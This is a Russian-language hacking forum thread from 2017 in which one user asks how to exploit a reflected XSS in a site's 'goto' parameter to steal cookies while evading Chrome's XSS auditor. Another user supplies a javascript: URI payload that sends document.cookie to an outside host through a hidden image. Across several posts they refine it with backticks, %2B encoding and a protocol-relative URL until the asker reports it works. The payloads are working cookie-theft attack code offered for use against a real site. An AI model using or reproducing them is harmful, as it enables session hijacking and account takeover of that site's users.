Как заюзать reflective XSS?

Discussion in 'Песочница' started by Dominant, 7 Aug 2017.

  1. Dominant

    Dominant New Member

    Joined:
    9 Jun 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Есть reflected XSS и вот такой код отрабатывает:
    javascript:alert(1)
    Но вот такой:
    "><script>alert(1)</script>
    проходит но уже блочится xss auditor-oом.

    Можно как-то слить куки не добавляя внутрь страницы <script>?
     
    #1 Dominant, 7 Aug 2017
    Last edited: 7 Aug 2017
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Можно так:
    Code:
    javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i));
    
    Если есть переносы строк или символы ломающие синтаксис, то нужно использовать urlencode.
     
    t0ma5, Gorev and Dominant like this.
  3. Dominant

    Dominant New Member

    Joined:
    9 Jun 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Забыл упомянуть важную деталь. Инъекция в коде страницы отображается как атрибут src:
    src="javascript:alert(1)"
    Когда добавляю этот код:

    javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i));

    то не отображается и не отрабатывает никак
     
  4. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Выложи сюда, посмотрим.
     
  5. Dominant

    Dominant New Member

    Joined:
    9 Jun 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Code:
    site.com/index.php?goto=javascript:alert(1);
    Вот такой запрос даёт:
    Code:
    <frame src="javascript:alert(1)" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">
    Такой
    Code:
    site.com/index.php?goto="><script>alert(a);</script>
    Даёт:
    Code:
    <frame src="\"><script>alert(a);</script>" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">
    но блочится xss аудитором
    Такой:
    Code:
    site.com/index.php?goto=javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i));
    не выдает ничего
     
  6. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    У меня нормально отрабатывает:

    [​IMG]

    PHP:
    <frameset>
       <
    frame src="javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/aaaaaaa?'+escape(document.cookie);console.log(document.body.appendChild(i));" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">
    </
    frameset>
     
  7. Dominant

    Dominant New Member

    Joined:
    9 Jun 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Но при вводе такого кода в адресную строку - фрейм вообще не добавляется.

    Проверил - сбой происходит на "http://". Если убрать их из скрипта то всё добавляется в src но кавычки фильтруются:
    PHP:
    <frame src="javascript:i=document.createElement(\'img\');i.style.display=\'none\';i.src=\'//localhost/aaaaaaa?\' escape(document.cookie);console.log(document.body.appendChild(i));" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">
    Без указания протокола нормально
     
    #7 Dominant, 8 Aug 2017
    Last edited: 8 Aug 2017
  8. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Кавычку можно бэктиком (`) заменить. Плюс нужно заменить на %2B.

    Code:
    site.com/index.php?goto=javascript:i=document.createElement(`img`);i.style.display=`none`;i.src=`//localhost/aaaaaaa?`%2Bescape(document.cookie);console.log(document.body.appendChild(i));
    
     
    Elva and Dominant like this.
  9. Dominant

    Dominant New Member

    Joined:
    9 Jun 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Вот так заработало. Спасибо